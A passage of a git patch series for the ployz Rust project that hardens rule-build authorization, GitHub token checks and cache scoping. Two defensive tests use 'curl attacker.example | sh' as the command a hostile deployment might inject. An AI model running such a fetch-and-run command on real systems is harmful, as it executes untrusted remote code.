WRAP_SEALING_KEY_CAPABILITY]); } rpc_ok(ContractDescription { + attest: None, machine_id: self.inner.registration.assigned_machine.id, protocol_major: PROTOCOL_MAJOR, daemon_version: self.inner.daemon_version.lock().unwrap().clone(), diff --git a/core/crates/ployz/tests/connect/machine_storage.rs b/core/crates/ployz/tests/connect/machine_storage.rs index 30abd695e2..62a1e7e05a 100644 --- a/core/crates/ployz/tests/connect/machine_storage.rs +++ b/core/crates/ployz/tests/connect/machine_storage.rs @@ -14,6 +14,7 @@ use super::{ fn storage_service(advertised: bool) -> DiscoveryService { DiscoveryService::new(ContractDescription { + attest: None, machine_id: MachineId::random(), protocol_major: PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/tests/connect/main.rs b/core/crates/ployz/tests/connect/main.rs index 9e7ae0d958..959759f4bf 100644 --- a/core/crates/ployz/tests/connect/main.rs +++ b/core/crates/ployz/tests/connect/main.rs @@ -579,6 +579,7 @@ async fn failed_connection_attempts_do_not_reorder_the_context() { #[tokio::test] async fn volume_listing_retains_successes_and_target_failures() { let (address, server) = serve_discovery(DiscoveryService::new(ContractDescription { + attest: None, machine_id: MachineId::random(), protocol_major: PROTOCOL_MAJOR, daemon_version: "test".into(), @@ -1211,6 +1212,7 @@ fn listing_container( #[tokio::test] async fn volume_listing_omits_down_and_unknown_and_probes_suspect() { let (address, server) = serve_discovery(DiscoveryService::new(ContractDescription { + attest: None, machine_id: MachineId::random(), protocol_major: PROTOCOL_MAJOR, daemon_version: "test".into(), @@ -1370,6 +1372,7 @@ async fn machine_discovery_uses_the_same_rpc_over_tcp_and_unix() { let tcp_address = tcp.local_addr().unwrap(); let unix = UnixListener::bind(&socket).unwrap(); let description = ContractDescription { + attest: None, machine_id: MachineId::parse("0123456789abcdef0123456789abcdef").unwrap(), protocol_major: PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/tests/connect/sdk.rs b/core/crates/ployz/tests/connect/sdk.rs index 3417605cf7..41d6ca347b 100644 --- a/core/crates/ployz/tests/connect/sdk.rs +++ b/core/crates/ployz/tests/connect/sdk.rs @@ -460,6 +460,7 @@ async fn node_configs_round_trip_through_the_store() { pub(super) fn advertised_description() -> ContractDescription { ContractDescription { + attest: None, machine_id: MachineId::parse("0123456789abcdef0123456789abcdef").unwrap(), protocol_major: PROTOCOL_MAJOR, daemon_version: "do-not-branch-on-me".into(), diff --git a/core/crates/ployz/tests/connect/sdk_metrics.rs b/core/crates/ployz/tests/connect/sdk_metrics.rs index 858925609f..b5a880852d 100644 --- a/core/crates/ployz/tests/connect/sdk_metrics.rs +++ b/core/crates/ployz/tests/connect/sdk_metrics.rs @@ -161,6 +161,7 @@ async fn session( fn description() -> ployz_core::ContractDescription { ployz_core::ContractDescription { + attest: None, machine_id: MachineId::parse("0123456789abcdef0123456789abcdef").unwrap(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/tests/connect/sdk_volumes.rs b/core/crates/ployz/tests/connect/sdk_volumes.rs index fbbaa4bfa2..bc5fd96fdb 100644 --- a/core/crates/ployz/tests/connect/sdk_volumes.rs +++ b/core/crates/ployz/tests/connect/sdk_volumes.rs @@ -391,6 +391,7 @@ fn set_volume_copy() -> serde_json::Value { fn advertised_description() -> ployz_core::ContractDescription { ployz_core::ContractDescription { + attest: None, machine_id: MachineId::parse("0123456789abcdef0123456789abcdef").unwrap(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "do-not-branch-on-me".into(), diff --git a/core/crates/ployz/tests/connect/support.rs b/core/crates/ployz/tests/connect/support.rs index 20e522191d..f1acae33ce 100644 --- a/core/crates/ployz/tests/connect/support.rs +++ b/core/crates/ployz/tests/connect/support.rs @@ -1709,6 +1709,7 @@ pub(super) fn confirmation(data_loss: impl IntoIterator) -> Dat pub(super) fn test_description() -> ContractDescription { ContractDescription { + attest: None, machine_id: MachineId::parse("0123456789abcdef0123456789abcdef").unwrap(), protocol_major: PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/tests/deploy_client/support.rs b/core/crates/ployz/tests/deploy_client/support.rs index 00d7229553..510015fed9 100644 --- a/core/crates/ployz/tests/deploy_client/support.rs +++ b/core/crates/ployz/tests/deploy_client/support.rs @@ -918,6 +918,7 @@ impl FakeMachine for DeployService { ); } encoded(RpcResponse::from(ContractDescription { + attest: None, machine_id: machine_from_metadata(&request) .ok() .or_else(|| self.machines.first().map(|machine| machine.machine.id)) From 8faf81e3dd9f7f636d4383edea74589d54bc3a0a Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 14:18:03 +0000 Subject: [PATCH 05/10] Name the field or claim a rule build's grant was refused for, to the caller and in the Machine's log --- core/crates/ployz-build/src/scrub.rs | 1 + core/crates/ployz-build/tests/host_policy.rs | 3 +++ core/crates/ployz-core/src/authority/rule.rs | 8 ++++---- core/crates/ployzd/src/github/oidc.rs | 12 ++++++++++-- core/crates/ployzd/src/machine/local_machine.rs | 4 ++-- .../ployzd/src/machine/local_machine/rule_grant.rs | 12 ++++++++---- 6 files changed, 28 insertions(+), 12 deletions(-) diff --git a/core/crates/ployz-build/src/scrub.rs b/core/crates/ployz-build/src/scrub.rs index f55ee3e595..b53f3a703b 100644 --- a/core/crates/ployz-build/src/scrub.rs +++ b/core/crates/ployz-build/src/scrub.rs @@ -478,6 +478,7 @@ exit 0 image_contexts: &BTreeMap::new(), compose_file: &root.path().join("compose.yaml"), sealed_override: None, + cache_scope: None, working_dir: root.path(), environment: &BTreeMap::new(), docker: Some(&docker), diff --git a/core/crates/ployz-build/tests/host_policy.rs b/core/crates/ployz-build/tests/host_policy.rs index 75894668e7..942d2351b5 100644 --- a/core/crates/ployz-build/tests/host_policy.rs +++ b/core/crates/ployz-build/tests/host_policy.rs @@ -167,6 +167,7 @@ exit 0 image_contexts: &BTreeMap::new(), compose_file: &host.file("compose.yaml"), sealed_override: None, + cache_scope: None, working_dir: &host.policy.state_directory, environment: &BTreeMap::from([("PATH".into(), "/usr/bin:/bin".into())]), docker: Some(&host.policy.docker), @@ -203,6 +204,7 @@ fn resource_launch_failure_reports_preparation_and_releases_confirmed_ownership( image_contexts: &BTreeMap::new(), compose_file: &host.file("compose.yaml"), sealed_override: None, + cache_scope: None, working_dir: &host.policy.state_directory, environment: &BTreeMap::new(), docker: Some(&host.policy.docker), @@ -336,6 +338,7 @@ echo "$*" >> "$root/mutations" image_contexts: &BTreeMap::new(), compose_file: &host.file("compose.yaml"), sealed_override: None, + cache_scope: None, working_dir: &host.policy.state_directory, environment: &environment, docker: Some(&host.policy.docker), diff --git a/core/crates/ployz-core/src/authority/rule.rs b/core/crates/ployz-core/src/authority/rule.rs index 4ec6d45578..da3bb66103 100644 --- a/core/crates/ployz-core/src/authority/rule.rs +++ b/core/crates/ployz-core/src/authority/rule.rs @@ -370,14 +370,14 @@ impl AutoDeployRule { claims.workflow_ref == format!("{}/{}@{git_ref}", source.repository, source.workflow), ), - ( - "job_workflow_ref", - claims.job_workflow_ref == source.builder.r#ref, - ), ( "job_workflow_sha", claims.job_workflow_sha == source.builder.sha, ), + ( + "job_workflow_ref", + claims.job_workflow_ref == source.builder.r#ref, + ), ( "runner_environment", claims.runner_environment == source.runner.as_str(), diff --git a/core/crates/ployzd/src/github/oidc.rs b/core/crates/ployzd/src/github/oidc.rs index 365b046ca9..5124814cf7 100644 --- a/core/crates/ployzd/src/github/oidc.rs +++ b/core/crates/ployzd/src/github/oidc.rs @@ -212,8 +212,16 @@ pub fn verify(token: &str, keys: &KeySet, now: Timestamp) -> Result String { + if let AuthorityRefusal::Mismatch { field } = refusal { + format!("the GitHub token's {field} claim does not match the rule") + } else { + format!("the GitHub token does not match the rule: {refusal}") + } } /// GitHub's token keys, fetched over TLS from the fixed issuer and cached. A token naming diff --git a/core/crates/ployzd/src/machine/local_machine.rs b/core/crates/ployzd/src/machine/local_machine.rs index 0ffba00cd7..fc44adca2e 100644 --- a/core/crates/ployzd/src/machine/local_machine.rs +++ b/core/crates/ployzd/src/machine/local_machine.rs @@ -196,8 +196,8 @@ pub enum Error { #[error("This Server refused the rule build's grant: {0}")] RuleGrantRefused(ployz_core::authority::AuthorityRefusal), /// GitHub did not prove a rule build: its token failed to verify or match the rule. - #[error("This Server refused the rule build's GitHub token")] - RuleProofRefused(#[source] crate::github::oidc::ProofRefusal), + #[error("This Server refused the rule build's GitHub token: {0}")] + RuleProofRefused(crate::github::oidc::ProofRefusal), /// This Server could not read the approved branch's head from GitHub. #[error("This Server could not read the approved branch's head from GitHub")] RuleHeadUnread(#[source] crate::github::head::HeadError), diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs index 3498b95077..4f4ecca174 100644 --- a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs +++ b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs @@ -166,10 +166,13 @@ impl LocalMachine { github: &impl Github, now: Timestamp, ) -> Result { - let refused = |field| Error::RuleGrantRefused(AuthorityRefusal::Mismatch { field }); let record = self.record(); let (rule, _) = verify_signature(&grant.rule, &record.trusted_keys(), now) .map_err(Error::RuleGrantRefused)?; + let refused = |field| { + tracing::warn!(rule = %rule.rule, field, "refused a rule build's grant"); + Error::RuleGrantRefused(AuthorityRefusal::Mismatch { field }) + }; let cluster = self.held_sealing(record.phase()) .and_then(|sealing| match sealing { @@ -188,8 +191,10 @@ impl LocalMachine { if rule.ended { return Err(refused("an ended rule")); } - let service = rule.service(&grant.service).ok_or(refused("a Service"))?; - let holder = holder.ok_or(refused("a holder"))?; + let service = rule + .service(&grant.service) + .ok_or_else(|| refused("a Service"))?; + let holder = holder.ok_or_else(|| refused("a holder"))?; let claims = github .claims(&rule, grant.proof.as_str(), now) .await @@ -209,7 +214,6 @@ impl LocalMachine { }; let audience = expected.audience().map_err(|_| refused("an audience"))?; if claims.aud != audience { - tracing::warn!(rule = %rule.rule, claim = "aud", "refused a rule build's grant"); return Err(refused("an audience")); } match grant.authority { From 3146b97cfad024442ff1dde808d7351af4f047f8 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 14:21:18 +0000 Subject: [PATCH 06/10] Pin the builder a rule approves by default to its proposed commit --- core/crates/ployz-core/src/authority/rule.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/crates/ployz-core/src/authority/rule.rs b/core/crates/ployz-core/src/authority/rule.rs index da3bb66103..09baf64f09 100644 --- a/core/crates/ployz-core/src/authority/rule.rs +++ b/core/crates/ployz-core/src/authority/rule.rs @@ -198,7 +198,7 @@ pub struct Builder { /// The commit of `getployz/build` whose reusable workflow a rule approved from the CLI /// pins by default. -pub const BUILDER_SHA: &str = "0000000000000000000000000000000000000000"; +pub const BUILDER_SHA: &str = "5f35eaa8e1372d0d86ff82788adadf308e5f3f97"; impl Builder { /// `getployz/build`'s reusable workflow at [`BUILDER_SHA`]. From 90eb79bf824a6b914e5b0808abdca3ba917a5be1 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 14:58:40 +0000 Subject: [PATCH 07/10] Raise a rule's generation mark for any signed generation, ended ones too, before refusing it --- .../machine/local_machine/restart_approval.rs | 104 +++++++++++++----- .../src/machine/local_machine/rule_grant.rs | 2 + .../machine/local_machine/rule_grant_tests.rs | 15 +++ 3 files changed, 93 insertions(+), 28 deletions(-) diff --git a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs index c94509cd36..cd1edb730b 100644 --- a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs +++ b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs @@ -234,6 +234,44 @@ struct Consumption { operations: BTreeMap, } +impl Consumption { + /// Refuse `rule` when it is below this Machine's mark for it, or moves it to another + /// repository, branch or Namespace. + fn check_mark(&self, rule: &AutoDeployRule) -> Result<(), Error> { + let refused = |field| { + Err(Error::RuleGrantRefused(AuthorityRefusal::Mismatch { + field, + })) + }; + let Some(mark) = self.rules.get(&rule.rule) else { + return Ok(()); + }; + if rule.generation < mark.generation { + return refused("a generation"); + } + if rule.source.repository_id != mark.repository_id { + return refused("a repository"); + } + if rule.source.branch != mark.branch { + return refused("a branch"); + } + if rule.namespace != mark.namespace { + return refused("a Namespace"); + } + Ok(()) + } + + fn raise_mark(&mut self, rule: &AutoDeployRule) { + let mark = self.rules.entry(rule.rule).or_insert_with(|| RuleMark { + generation: rule.generation, + repository_id: rule.source.repository_id, + branch: rule.source.branch.clone(), + namespace: rule.namespace.clone(), + }); + mark.generation = mark.generation.max(rule.generation); + } +} + /// A rule's identity as this Machine first saw it, which no later generation may change, /// and the highest generation it has seen. #[derive(Clone, Debug, Deserialize, Serialize)] @@ -629,25 +667,7 @@ impl ConsumptionLog { let now = consumption .expiry_time_floor .map_or(now, |floor| now.max(floor)); - let refused = |field| { - Err(Error::RuleGrantRefused(AuthorityRefusal::Mismatch { - field, - })) - }; - if let Some(mark) = consumption.rules.get(&rule.rule) { - if rule.generation < mark.generation { - return refused("a generation"); - } - if rule.source.repository_id != mark.repository_id { - return refused("a repository"); - } - if rule.source.branch != mark.branch { - return refused("a branch"); - } - if rule.namespace != mark.namespace { - return refused("a Namespace"); - } - } + consumption.check_mark(rule)?; let spent = hex::encode(Sha256::digest(jti.as_bytes())); if consumption.proofs.contains_key(&spent) { return Err(Error::RuleGrantRefused(AuthorityRefusal::ProofReplayed)); @@ -658,22 +678,50 @@ impl ConsumptionLog { expires.plus(ployz_core::authority::validity::CLOCK_SKEW_MILLIS) >= now }); updated.proofs.insert(spent, expires_at); - let mark = updated.rules.entry(rule.rule).or_insert_with(|| RuleMark { - generation: rule.generation, - repository_id: rule.source.repository_id, - branch: rule.source.branch.clone(), - namespace: rule.namespace.clone(), - }); - mark.generation = mark.generation.max(rule.generation); + updated.raise_mark(rule); + self.write(&mut guard, updated) + } + + /// Record that a validly signed `rule` exists, ended or not, before anything else + /// decides on it: no generation below it is admitted again. Refuses a generation + /// lower than the mark, or one that moves the rule to another repository, branch or + /// Namespace. Writes only when the mark rises. + pub(crate) fn mark_rule(&self, rule: &AutoDeployRule) -> Result<(), Error> { + let mut guard = self + .operations + .lock() + .unwrap_or_else(|poisoned| poisoned.into_inner()); + if guard.is_none() { + *guard = Some(self.load().map_err(Error::ApprovalRecord)?); + } + let consumption = guard.as_ref().expect("loaded above"); + consumption.check_mark(rule)?; + if consumption + .rules + .get(&rule.rule) + .is_some_and(|mark| mark.generation >= rule.generation) + { + return Ok(()); + } + let mut updated = consumption.clone(); + updated.raise_mark(rule); + self.write(&mut guard, updated) + } + + fn write( + &self, + guard: &mut std::sync::MutexGuard<'_, Option>, + updated: Consumption, + ) -> Result<(), Error> { let written = serde_json::to_vec(&updated) .map_err(io::Error::other) .and_then(|contents| crate::filesystem::atomic_write(&self.path, &contents, 0o600)) .map_err(Error::ApprovalRecord); if let Err(error) = written { - *guard = None; + **guard = None; return Err(error); } - *guard = Some(updated); + **guard = Some(updated); Ok(()) } diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs index 4f4ecca174..75f58090b6 100644 --- a/core/crates/ployzd/src/machine/local_machine/rule_grant.rs +++ b/core/crates/ployzd/src/machine/local_machine/rule_grant.rs @@ -188,6 +188,8 @@ impl LocalMachine { if !rule.machines.contains(&record.id()) { return Err(refused("a Machine")); } + // An ended generation still supersedes every one below it. + self.approvals.mark_rule(&rule)?; if rule.ended { return Err(refused("an ended rule")); } diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs index 37fff49a3d..e79838381c 100644 --- a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs +++ b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs @@ -422,6 +422,21 @@ async fn an_ended_rule_is_refused() { refused(result, "an ended rule"); } +#[tokio::test] +async fn an_ended_generation_refuses_every_generation_below_it() { + let fixture = fixture().await; + let ended = fixture + .admit_changed("gen-4-ended", |rule, claim, _| { + rule.generation = 4; + claim.generation = 4; + rule.ended = true; + }) + .await; + refused(ended, "an ended rule"); + let older = fixture.admit_changed("gen-3", |_, _, _| {}).await; + refused(older, "a generation"); +} + #[tokio::test] async fn a_machine_the_rule_does_not_name_is_refused() { let fixture = fixture().await; From b5f927ea3d302f7768833b1f7a9f533ee56ae360 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 14:58:41 +0000 Subject: [PATCH 08/10] Check a rule build's policy against the one input it builds, refuse a Service in two snapshots, and scope its cache by the attest key --- core/crates/ployz/src/handlers/build.rs | 26 +++--- core/crates/ployz/src/handlers/build/rule.rs | 88 +++++++++--------- .../ployz/src/handlers/build/rule_tests.rs | 90 ++++++++++++++++--- core/crates/ployz/src/sdk/preparation.rs | 72 ++++++++++++++- 4 files changed, 205 insertions(+), 71 deletions(-) diff --git a/core/crates/ployz/src/handlers/build.rs b/core/crates/ployz/src/handlers/build.rs index 91d9d2cd13..54a2f5ee18 100644 --- a/core/crates/ployz/src/handlers/build.rs +++ b/core/crates/ployz/src/handlers/build.rs @@ -24,7 +24,7 @@ use crate::{ failure::Failure, sdk::{ PreparationInput, expected_fingerprints, - preparation::{capture_opened, frozen_intent}, + preparation::{capture_opened, frozen_intent, prepare}, }, }; @@ -225,7 +225,15 @@ fn built_under_rule( .rule .open() .map_err(|_| BuildCommandError::Rule("Cloud relayed no readable rule"))?; - let policy = rule::policy(&relayed, &checked_in.service, &checked_in.deployment)?.clone(); + let service = checked_in.service.clone(); + // Frozen once: the policy is checked against exactly what is captured and built. + let prepared = prepare(PreparationInput { + deployment: checked_in.deployment.clone(), + sources: BTreeMap::from([(service.clone(), source)]), + source_commits: BTreeMap::from([(service.clone(), commit.to_string())]), + ..PreparationInput::default() + })?; + let policy = rule::policy(&relayed, &service, &prepared)?.clone(); let keys = rule::Keys::generate(); let grant_claim = rule::grant_claim( checked_in, @@ -267,20 +275,10 @@ fn built_under_rule( let opened = opened .covering(policy.secrets.iter().map(String::as_str)) .map_err(|missing| BuildCommandError::Sealed(missing.to_string()))?; - let service = checked_in.service.clone(); - let mut captured = capture_opened( - PreparationInput { - deployment: checked_in.deployment.clone(), - sources: BTreeMap::from([(service.clone(), source)]), - source_commits: BTreeMap::from([(service, commit.to_string())]), - ..PreparationInput::default() - }, - Some(opened), - )? - .build; + let mut captured = prepared.capture(Some(opened))?.build; captured.pin_local( policy.platforms.iter().cloned().collect(), - rule::cache_scope(&policy)?, + rule::cache_scope(&policy, &checked_in.attest)?, ); let pushed = runtime.block_on(run(captured, &grant, Arc::clone(events), cancellation))?; let image = ployz_core::authority::ImageDigest::parse(&pushed.digest) diff --git a/core/crates/ployz/src/handlers/build/rule.rs b/core/crates/ployz/src/handlers/build/rule.rs index 76074fff04..2df0527c72 100644 --- a/core/crates/ployz/src/handlers/build/rule.rs +++ b/core/crates/ployz/src/handlers/build/rule.rs @@ -18,13 +18,15 @@ use ployz_core::{ AttestKey, AutoDeployRule, BuildClaim, BuildPolicy, BuildStage, CommitAuthority, CommitSha, ImageDigest, PolicyDigest, RecipientKey, Signed, rule::PolicyCache, rule::PolicyMethod, }, - config::{BuildMethod, ServiceSource, parse_service_config}, + config::BuildMethod, }; use serde::{Deserialize, Serialize}; use serde_json::Value; +use sha2::{Digest, Sha256}; use super::BuildCommandError; use crate::handlers::Error; +use crate::sdk::preparation::{BuildInput, Prepared}; /// What Cloud relays to a rule build at check-in. None of it is trusted here: the /// Machine checks the rule and the audience, and the secrets open only with the real @@ -62,14 +64,17 @@ pub(super) struct Granted { } /// The rule's policy for `service`, once the deployment Cloud sent builds exactly it. +/// `prepared` is the frozen deployment the build then captures, so what is checked +/// here is what is built. /// /// # Errors -/// Refuses a rule without the Service, and a deployment whose build inputs differ from -/// the policy in any field, before any token is asked for. +/// Refuses a rule without the Service, a deployment that does not build it from a +/// checkout, and one whose build inputs differ from the policy in any field, before any +/// token is asked for. pub(super) fn policy<'rule>( rule: &'rule AutoDeployRule, service: &ServiceName, - deployment: &Value, + prepared: &Prepared, ) -> Result<&'rule BuildPolicy, Error> { let policy = &rule .service(service) @@ -77,7 +82,10 @@ pub(super) fn policy<'rule>( "the rule does not build this Service", ))? .policy; - if derived(deployment, service, policy)? != *policy { + let input = prepared.input_of(service).ok_or(BuildCommandError::Rule( + "the deployment does not build the Service from Git", + ))?; + if derived(&input, policy) != *policy { return Err(BuildCommandError::Rule( "the deployment Cloud sent does not build with the rule's policy; refusing to build", ) @@ -86,27 +94,10 @@ pub(super) fn policy<'rule>( Ok(policy) } -/// The policy `deployment` builds `service` with. Platforms and cache are the rule's -/// own: the build takes them from the policy, not from Cloud. -fn derived( - deployment: &Value, - service: &ServiceName, - rule: &BuildPolicy, -) -> Result { - let config = deployment - .get("snapshots") - .and_then(Value::as_array) - .into_iter() - .flatten() - .filter_map(|snapshot| parse_service_config(snapshot.get("config")?.clone()).ok()) - .find(|config| config.settings.private_dns == *service) - .ok_or(BuildCommandError::Rule( - "the deployment does not hold the Service", - ))?; - let ServiceSource::Git { root_dir, .. } = &config.settings.source else { - return Err(BuildCommandError::Rule("the Service does not build from Git").into()); - }; - let build = &config.settings.build; +/// The policy `input` builds with. Platforms and cache are the rule's own: the build +/// takes them from the policy, not from Cloud. +fn derived(input: &BuildInput<'_>, rule: &BuildPolicy) -> BuildPolicy { + let build = input.settings; let method = match build.build_method { BuildMethod::Dockerfile => PolicyMethod::Dockerfile { path: build @@ -118,17 +109,9 @@ fn derived( command: build.command.clone(), }, }; - let intent = crate::sdk::preparation::frozen_intent(deployment.clone())?; - let spec = intent - .target - .iter() - .find(|spec| spec.name == *service) - .ok_or(BuildCommandError::Rule( - "the deployment does not hold the Service", - ))?; let mut args = BTreeMap::new(); let mut secrets = BTreeSet::new(); - for (name, value) in &spec.container.environment { + for (name, value) in &input.service.container.environment { match value.text() { Some(text) => { args.insert(name.clone(), text.to_owned()); @@ -138,15 +121,15 @@ fn derived( } } } - Ok(BuildPolicy { + BuildPolicy { method, - context: root_dir.clone(), + context: input.root_dir.to_owned(), target: None, args, secrets, platforms: rule.platforms.clone(), cache: rule.cache, - }) + } } /// The grant token's claim: this build's keys, at `commit`, under the relayed rule. @@ -182,14 +165,31 @@ pub(super) fn built_claim(grant: &BuildClaim, image: ImageDigest, attest: Attest } } -/// The Actions cache scope of a rule build: its policy's digest, so a run of another -/// policy or branch never writes what this one reads. `None` keeps the cache off. -pub(super) fn cache_scope(policy: &BuildPolicy) -> Result, Error> { +/// The Actions cache scope of a rule build: a digest of its policy and of `attest`, the +/// attest key its secrets opened with. `None` keeps the cache off. +/// +/// BuildKit leaves secret values out of its cache keys, so a scope shared with a build +/// that opened values from another key would let that build's layers into honest +/// builds. Only the Machine holds the Cluster's attest key, and it seals, even an empty +/// set, only after admitting the grant: the pinned builder, the approved branch's head, +/// the rule's policy. So every build that writes the Cluster's scope is one the Machine +/// admitted, built with the Cluster's own values, and a build fed another key writes a +/// scope no honest build reads. +pub(super) fn cache_scope( + policy: &BuildPolicy, + attest: &AttestKey, +) -> Result, Error> { match policy.cache { PolicyCache::Off => Ok(None), - PolicyCache::Actions => PolicyDigest::of(policy) - .map(|digest| Some(digest.to_string())) - .map_err(Error::command), + PolicyCache::Actions => { + let policy = PolicyDigest::of(policy).map_err(Error::command)?; + let scope = Sha256::new() + .chain_update(b"ployz build cache v1\0") + .chain_update(policy.to_string().as_bytes()) + .chain_update(attest.as_bytes()) + .finalize(); + Ok(Some(hex::encode(scope))) + } } } diff --git a/core/crates/ployz/src/handlers/build/rule_tests.rs b/core/crates/ployz/src/handlers/build/rule_tests.rs index 121654f8e7..1155b4009f 100644 --- a/core/crates/ployz/src/handlers/build/rule_tests.rs +++ b/core/crates/ployz/src/handlers/build/rule_tests.rs @@ -71,14 +71,39 @@ fn checked_in(rule: &AutoDeployRule, deployment: Value) -> CheckedIn { /// A one-Service deployment as Cloud relays it, building with `env` as its variables. fn deployment(env: Value) -> Value { - json!({"namespace": "app", "snapshots": [{"serviceId": "web", "resolvedEnv": env, "config": { + json!({"namespace": "app", "snapshots": [snapshot(env, json!({ + "buildMethod": "dockerfile", "dockerfilePath": "Dockerfile", "command": null + }))]}) +} + +/// A snapshot of `web` building with `build` and `env` as its variables. +fn snapshot(env: Value, build: Value) -> Value { + json!({"serviceId": "web", "resolvedEnv": env, "config": { "version": 2, "privateDns": "web", "healthcheck": {"type": "none"}, "restartPolicy": "on-failure", "source": {"version": 2, "type": "git", "repository": "Ployz-test/lab-service", "repositoryId": 1_450_985_696_u64, "access": {"type": "public"}, "rootDir": "/", "branch": {"type": "connected", "name": "main"}}, - "build": {"buildMethod": "dockerfile", "dockerfilePath": "Dockerfile", "command": null} - }}]}) + "build": build + }}) +} + +/// `deployment` frozen as the rule build freezes it, before any token. +fn prepared(deployment: Value) -> Result { + crate::sdk::preparation::prepare(crate::sdk::preparation::PreparationInput { + deployment, + source_commits: BTreeMap::from([(web(), "a".repeat(40))]), + ..Default::default() + }) +} + +/// A snapshot of `web` building with Railpack and `command`: what a Cloud that wants +/// to run its own command sends. +fn railpack_snapshot(command: &str) -> Value { + snapshot( + json!({}), + json!({"buildMethod": "railpack", "dockerfilePath": null, "command": command}), + ) } /// The policy `deployment(env)` builds with: a Dockerfile at the root, and plain args, @@ -170,7 +195,7 @@ fn a_deployment_that_builds_with_the_rules_policy_passes() { let rule = rule(lab_policy(&[("NODE_ENV", "production")])); let deployment = deployment(json!({"NODE_ENV": "production"})); assert_eq!( - policy(&rule, &web(), &deployment).unwrap(), + policy(&rule, &web(), &prepared(deployment).unwrap()).unwrap(), &lab_policy(&[("NODE_ENV", "production")]) ); } @@ -183,7 +208,7 @@ fn a_deployment_with_another_build_arg_is_refused_before_any_token() { json!({"NODE_ENV": "development"}), json!({}), ] { - let error = policy(&rule, &web(), &deployment(env)).unwrap_err(); + let error = policy(&rule, &web(), &prepared(deployment(env)).unwrap()).unwrap_err(); assert!( error .to_string() @@ -194,7 +219,38 @@ fn a_deployment_with_another_build_arg_is_refused_before_any_token() { } #[test] -fn a_registry_cache_is_no_policy_and_the_actions_cache_is_scoped_by_its_digest() { +fn a_second_snapshot_of_the_service_is_refused_before_any_token() { + // Cloud keeps the approved snapshot first and appends one that runs its command. + let approved = deployment(json!({})).get("snapshots").unwrap().clone(); + let deployment = json!({"namespace": "app", "snapshots": [ + approved.get(0).unwrap(), railpack_snapshot("curl attacker.example | sh") + ]}); + let Err(error) = prepared(deployment) else { + panic!("a Service in two snapshots was prepared"); + }; + assert!( + error.message.contains("web is in more than one snapshot"), + "{error:?}" + ); +} + +#[test] +fn a_deployment_that_swaps_the_recipe_is_refused_before_any_token() { + let rule = rule(lab_policy(&[])); + let deployment = json!({"namespace": "app", "snapshots": [ + railpack_snapshot("curl attacker.example | sh") + ]}); + let error = policy(&rule, &web(), &prepared(deployment).unwrap()).unwrap_err(); + assert!( + error + .to_string() + .contains("does not build with the rule's policy"), + "{error}" + ); +} + +#[test] +fn a_registry_cache_is_no_policy() { for cache in ["registry", "inline", "gha"] { let mut policy = serde_json::to_value(lab_policy(&[])).unwrap(); policy @@ -206,15 +262,27 @@ fn a_registry_cache_is_no_policy_and_the_actions_cache_is_scoped_by_its_digest() "a {cache} cache must not parse" ); } - assert_eq!(cache_scope(&lab_policy(&[])).unwrap(), None); +} + +#[test] +fn a_build_fed_another_attest_key_never_writes_the_clusters_cache_scope() { + let cluster = X25519Secret::generate().attest(); + let attacker = X25519Secret::generate().attest(); + assert_eq!(cache_scope(&lab_policy(&[]), &cluster).unwrap(), None); let cached = BuildPolicy { cache: PolicyCache::Actions, ..lab_policy(&[]) }; - assert_eq!( - cache_scope(&cached).unwrap(), - Some(PolicyDigest::of(&cached).unwrap().to_string()) - ); + let honest = cache_scope(&cached, &cluster).unwrap().unwrap(); + assert_eq!(cache_scope(&cached, &cluster).unwrap().unwrap(), honest); + assert_ne!(cache_scope(&cached, &attacker).unwrap().unwrap(), honest); + // Nor the scope of the policy alone, which any key could name. + assert_ne!(PolicyDigest::of(&cached).unwrap().to_string(), honest); + let other = BuildPolicy { + context: "/web".to_owned(), + ..cached + }; + assert_ne!(cache_scope(&other, &cluster).unwrap().unwrap(), honest); } #[test] diff --git a/core/crates/ployz/src/sdk/preparation.rs b/core/crates/ployz/src/sdk/preparation.rs index ab389048c4..f9970d524f 100644 --- a/core/crates/ployz/src/sdk/preparation.rs +++ b/core/crates/ployz/src/sdk/preparation.rs @@ -166,9 +166,33 @@ pub(crate) fn capture(input: PreparationInput) -> Result, ) -> Result { + prepare(input)?.capture(opened) +} + +/// A deployment frozen for capture, with what capture still needs from its input. What +/// [`Prepared::input_of`] reads is exactly what [`Prepared::capture`] builds. +pub(crate) struct Prepared { + input: PreparationInput, + frozen: Frozen, +} + +/// What one Service builds from: its root directory and build settings, and the +/// lowered Service whose environment the build reads. +pub(crate) struct BuildInput<'a> { + pub(crate) root_dir: &'a str, + pub(crate) settings: &'a ServiceBuildConfig, + pub(crate) service: &'a ployz_core::RequestedServiceSpec, +} + +/// Check `input`'s receipts and freeze its deployment. +/// +/// # Errors +/// Returns `invalid_argument` for a receipt naming mutable content, and whatever +/// freezing refuses, a Service in more than one snapshot included. +pub(crate) fn prepare(mut input: PreparationInput) -> Result { for receipt in input.build_receipts.values().flatten() { if !ployz_core::is_lower_hex(&receipt.fingerprint, 64) || !receipt @@ -183,10 +207,49 